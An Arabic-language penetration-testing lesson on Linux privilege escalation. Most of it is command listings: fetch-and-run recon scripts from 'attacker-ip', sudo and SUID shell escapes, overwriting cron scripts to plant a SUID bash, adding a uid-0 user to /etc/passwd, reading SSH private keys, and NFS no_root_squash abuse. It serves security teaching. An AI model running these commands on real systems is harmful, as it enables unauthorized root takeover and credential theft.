ما بعد الاستغلال وتصعيد الصلاحيات
تصعيد الصلاحيات في Linux
5 دقيقة للقراءة
بعد الحصول على الوصول الأولي، التصعيد إلى root ضروري للتحكم الكامل بالنظام. يغطي هذا الدرس أكثر تقنيات تصعيد الصلاحيات شيوعاً في Linux.
نصوص الاستطلاع
LinPEAS (موصى به)
# التحميل والتشغيل
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# أو النقل والتشغيل
wget http://attacker-ip/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
LinEnum
wget http://attacker-ip/linenum.sh
chmod +x linenum.sh
./linenum.sh -t
Linux Exploit Suggester
wget http://attacker-ip/les.sh
chmod +x les.sh
./les.sh
الاستطلاع اليدوي
معلومات النظام
# نظام التشغيل و kernel
uname -a
cat /etc/issue
cat /etc/*-release
cat /proc/version
# المستخدم الحالي
id
whoami
# جميع المستخدمين
cat /etc/passwd
cat /etc/group
# صلاحيات sudo
sudo -l
ثنائيات SUID/SGID
# إيجاد ثنائيات SUID
find / -perm -u=s -type f 2>/dev/null
# إيجاد ثنائيات SGID
find / -perm -g=s -type f 2>/dev/null
# كلاهما
find / -perm -4000 -o -perm -2000 -type f 2>/dev/null
الملفات القابلة للكتابة
# ملفات قابلة للكتابة للجميع
find / -writable -type f 2>/dev/null
# دلائل قابلة للكتابة
find / -writable -type d 2>/dev/null
# ملفات /etc قابلة للكتابة
find /etc -writable -type f 2>/dev/null
تقنيات تصعيد الصلاحيات
1. إعداد sudo الخاطئ
فحص حقوق sudo:
sudo -l
إدخالات شائعة قابلة للاستغلال:
# إذا استطعت تشغيل vim كـ root
sudo vim -c ':!/bin/bash'
# إذا استطعت تشغيل less كـ root
sudo less /etc/passwd
!/bin/bash
# إذا استطعت تشغيل find كـ root
sudo find . -exec /bin/bash \; -quit
# إذا استطعت تشغيل python كـ root
sudo python -c 'import os; os.system("/bin/bash")'
# إذا استطعت تشغيل nmap كـ root (إصدارات قديمة)
sudo nmap --interactive
!sh
تحقق من GTFOBins للمزيد: gtfobins.github.io
2. استغلال SUID
تحديد ثنائيات SUID الضعيفة:
find / -perm -u=s -type f 2>/dev/null
ثنائيات SUID الشائعة القابلة للاستغلال:
# /usr/bin/find
find . -exec /bin/sh -p \; -quit
# /usr/bin/vim
vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
# /usr/bin/bash
bash -p
# /usr/bin/python
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# /usr/bin/nmap (الوضع التفاعلي)
nmap --interactive
!sh
3. القدرات
# إيجاد الملفات ذات القدرات
getcap -r / 2>/dev/null
استغلال cap_setuid:
# إذا كان python لديه cap_setuid
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
4. مهام Cron
# فحص مهام cron
cat /etc/crontab
ls -la /etc/cron.*
cat /var/spool/cron/crontabs/*
# فحص النصوص القابلة للكتابة
ls -la /path/to/cron/script
# فحص PATH في crontab
# إذا تضمن PATH دليلاً قابلاً للكتابة، أنشئ نصاً برمجياً خبيثاً
استغلال نص cron قابل للكتابة:
# إذا كان /opt/script.sh قابلاً للكتابة ويعمل كـ root
echo '#!/bin/bash' > /opt/script.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /opt/script.sh
# انتظر cron، ثم:
/tmp/rootbash -p
5. ثغرات Kernel
# فحص إصدار kernel
uname -r
# البحث عن ثغرات
searchsploit "Linux Kernel $(uname -r)"
ثغرات kernel الملحوظة:
| الثغرة | الإصدارات المتأثرة |
|---|---|
| DirtyCow (CVE-2016-5195) | Linux < 4.8.3 |
| DirtyPipe (CVE-2022-0847) | Linux 5.8 - 5.16.11 |
| PwnKit (CVE-2021-4034) | معظم أنظمة Linux |
6. /etc/passwd قابل للكتابة
# إذا كان /etc/passwd قابلاً للكتابة، أضف مستخدم root
openssl passwd -1 password123
# الإخراج: $1$xyz$hashedpassword
# أضف إلى /etc/passwd
echo 'root2:$1$xyz$hashedpassword:0:0:root:/root:/bin/bash' >> /etc/passwd
# انتقل للمستخدم الجديد root
su root2
# كلمة المرور: password123
7. مفاتيح SSH
# فحص مفاتيح SSH القابلة للقراءة
cat /home/*/.ssh/id_rsa
cat /root/.ssh/id_rsa
# فحص authorized_keys القابل للكتابة
ls -la /root/.ssh/
# إذا كان قابلاً للكتابة، أضف مفتاحك العام
8. إعداد NFS الخاطئ
# فحص /etc/exports
cat /etc/exports
# ابحث عن: no_root_squash
# على جهاز المهاجم:
showmount -e target-ip
mount -t nfs target-ip:/share /mnt
# إنشاء shell SUID
cp /bin/bash /mnt/rootbash
chmod +s /mnt/rootbash
# على الهدف:
/share/rootbash -p
منهجية تصعيد الصلاحيات
1. تشغيل نص الاستطلاع (LinPEAS)
2. فحص sudo -l
3. إيجاد ثنائيات SUID/SGID
4. فحص مهام cron
5. البحث عن بيانات اعتماد في الملفات
6. فحص إصدار kernel للثغرات
7. فحص القدرات
8. فحص الملفات/الدلائل القابلة للكتابة
9. البحث عن إعدادات NFS الخاطئة
10. فحص هروب Docker/LXC
مرجع سريع
# استطلاع أساسي
id; whoami; hostname
uname -a
cat /etc/passwd
# Sudo
sudo -l
# SUID
find / -perm -u=s -type f 2>/dev/null
# Cron
cat /etc/crontab
ls -la /etc/cron.*
# القدرات
getcap -r / 2>/dev/null
# قابل للكتابة
find / -writable -type f 2>/dev/null
في الدرس التالي، سنغطي تقنيات تصعيد الصلاحيات في Windows. :::